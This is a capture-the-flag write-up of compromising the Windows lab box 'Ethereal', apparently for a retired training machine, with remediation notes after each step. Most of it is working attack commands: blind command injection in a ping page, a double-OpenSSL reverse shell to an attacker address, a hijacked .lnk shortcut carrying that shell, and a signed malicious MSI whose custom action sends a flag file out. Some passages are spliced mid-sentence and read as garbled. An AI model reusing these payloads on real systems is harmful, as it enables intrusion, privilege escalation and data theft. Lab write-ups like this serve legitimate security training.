Ethereal
Summary
I reached the Windows Server 2016 host ethereal through an anonymous FTP share that leaked an old floppy-disk image containing a DOS-era password manager; cracking its master password recovered valid domain credentials for the user 'alan'. Those credentials unlocked a Basic-Auth network-diagnostic web page on port 8080 whose ping utility was vulnerable to blind OS command injection, giving code execution as alan with no visible output. A double OpenSSL TLS pipe was used to turn that blind injection into a fully interactive shell.
From there, a world-writable shortcuts folder let me hijack a .lnk file that a second user, 'jorge', ran on an automated ~60-second loop, escalating to jorge's context and the first flag. Finally, a maliciously-signed Windows Installer (MSI) package, built to defeat the host's application-control policy and dropped into a folder a third user, 'rupal', periodically tests, executed my commands in rupal's security context the moment it was reviewed — handing over full, root-level control of the box.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <base64_line>, <command>, <token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Log in as 'anonymous' with any password; browse and download the floppy image zip.
$ ftp $TARGETAlternative: mirror the whole anonymous FTP tree.
$ wget -m --no-passive ftp://anonymous:anonymous@$TARGET/Unpack the zip and the FAT floppy image to recover pbox.exe and pbox.dat.
$ unzip floppy_backup.zip && 7z x floppy.img -o./floppy_extractedDecrypt the PasswordBox vault with the recovered master password "$PASSWORD2" to reveal alan's credential.
$ pbox_crack.py --vault pbox.dat --password $PASSWORD2FixDisable anonymous FTP and remove legacy credential materialHigh
127.0.0.1 & <command> via the page's POST request (each request requires a freshly fetched ASP.NET ViewState token) ran arbitrary OS commands as whatever account the web app ran under, with no output returned to the browser.-u alan:... -H 'Host: ethereal.htb' http://$TARGET:8080/; subsequent blind-injection chaining into the exfil channel confirmed command execution as alan.Exact commands 3
Required so the Host header-based vhost resolves.
$ echo "$TARGET ethereal.htb" | sudo tee -a /etc/hostsFetch the page and extract the current __VIEWSTATE/__EVENTVALIDATION values from page.html before each POST.
$ curl -sS -c cookies.txt -u "alan:$PASSWORD" -H 'Host: ethereal.htb' http://$TARGET:8080/ping.aspx -o page.htmlBlind injection PoC; swap the command for the actual payload (e.g. The double-OpenSSL one-liner in step 3).
$ curl -sS -b cookies.txt -u "alan:$PASSWORD" -H 'Host: ethereal.htb' --data-urlencode '__VIEWSTATE=<token>' --data-urlencode '__EVENTVALIDATION=<token>' --data-urlencode 'txtHost=127.0.0.1 & whoami' -X POST http://$TARGET:8080/ping.aspxFixEliminate OS command injection in the connectivity-test pageCritical
&, |, ;).C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe, the 8.3 short path dodging the space in "Program Files (x86)") twice: once to pipe stdin from an inbound TLS connection into cmd.exe, and once to pipe cmd.exe's output to a second outbound TLS connection. This gave a full interactive shell as alan despite no direct inbound access and a restrictive egress policy.Exact commands 3
Self-signed cert for the two Kali-side listeners.
$ openssl req -x509 -newkey rsa:2048 -keyout tls.key -out tls.crt -days 365 -nodes -subj '/CN=ethereal'Stand up TLS listeners on ports 73 (shell input) and 136 (shell output) on my tun0 IP.
$ python3 -c "import ssl,socket; ... " # or: ncat --ssl -lvp 73 ; ncat --ssl -lvp 136Injected via the ping.aspx POST from step 2; gives an interactive cmd.exe shell split across the two TLS sockets.
$ 127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:136FixRestrict outbound traffic and monitor for LOLBIN-based tunnelingMedium
Exact commands 4
Build a malicious .lnk with a valid WScript.Shell IDList/LinkInfo structure (pure-Linux .lnk generators are rejected by Windows).
$ # On a real Windows host, via COM:
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('VisualStudio2017.lnk')
$lnk.TargetPath = 'C:\Windows\System32\cmd.exe'
$lnk.Arguments = "/c C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:136"
$lnk.Save()Base64-encode the .lnk with 76-char line wrapping for reliable transfer over the shell.
$ openssl base64 -in VisualStudio2017.lnk -A | fold -w 76Write the encoded file line-by-line through the OpenSSL shell.
$ echo <base64_line> >> C:\Users\Public\Desktop\Shortcuts\vs.b64 (repeat per line, via the step-3 shell)Decode and overwrite the shortcut jorge's loop opens; wait for the next ~60s cycle.
$ C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -d -in C:\Users\Public\Desktop\Shortcuts\vs.b64 -out "C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk"FixFix the overly permissive ACL on the shared Shortcuts folderHigh
whoami and reading root.txt, with output piped through the same OpenSSL LOLBIN technique to my listener. When rupal's review process ran the MSI, it executed in rupal's own user context — the only context whose per-user EFS key can decrypt rupal's files (a bare SYSTEM shell obtained separately could not read the EFS-encrypted flags).(whoami & type C:\Users\rupal\Desktop\root.txt & dir C:\Users\rupal\Desktop) 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:73; the listener subsequently received ethereal\rupal and the root flag.Exact commands 5
WiX source defining the MSI and its root-exfil CustomAction.
$ cat > rupal_impersonating.wxs <<EOF
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='VS2017 Update' Id='*' UpgradeCode='559f8240-b6b3-4e91-b2a5-d1e4bf32a58c' Language='1033' Version='1.0.0' Manufacturer='Microsoft'>
<Package Description='Visual Studio 2017 Update' InstallerVersion='200' Compressed='yes' />
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
<CustomAction Id='RootExfil' ExeCommand='/c "(whoami & type C:\Users\rupal\Desktop\root.txt & dir C:\Users\rupal\Desktop) 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect '"$ATTACKER_IP"':73"' Execute='immediate' Return='ignore' />
<InstallExecuteSequence><Custom Action='RootExfil' After='InstallFiles' /></InstallExecuteSequence>
</Product>
</Wix>
EOFCompile the MSI with the WiX toolset.
$ candle rupal_impersonating.wxs && light rupal_impersonating.wixobj -o rupal_impersonating.msiSign with a dedicated code-signing leaf certificate (not one chained directly to the root CA) so AppLocker/SRP accepts it.
$ osslsigncode sign -certs codesign_leaf.pem -key codesign_leaf.key -n 'VS2017 Update' -in rupal_impersonating.msi -out rupal_impersonating_signed.msiStart the TLS receiver on my side before dropping the MSI.
$ python3 tlsrecv.py 73 root_flag.txtVia the alan/jorge shell, push the signed MSI into the directory rupal periodically reviews, then wait (do not re-drop) for the automated test to run it.
$ copy rupal_impersonating_signed.msi D:\DEV\MSIs\update.msiFixHarden code-signing trust and MSI auto-review processCritical
Exact commands 1
Read the captured output from the TLS receiver once the MSI's CustomAction fires.
$ cat root_flag.txt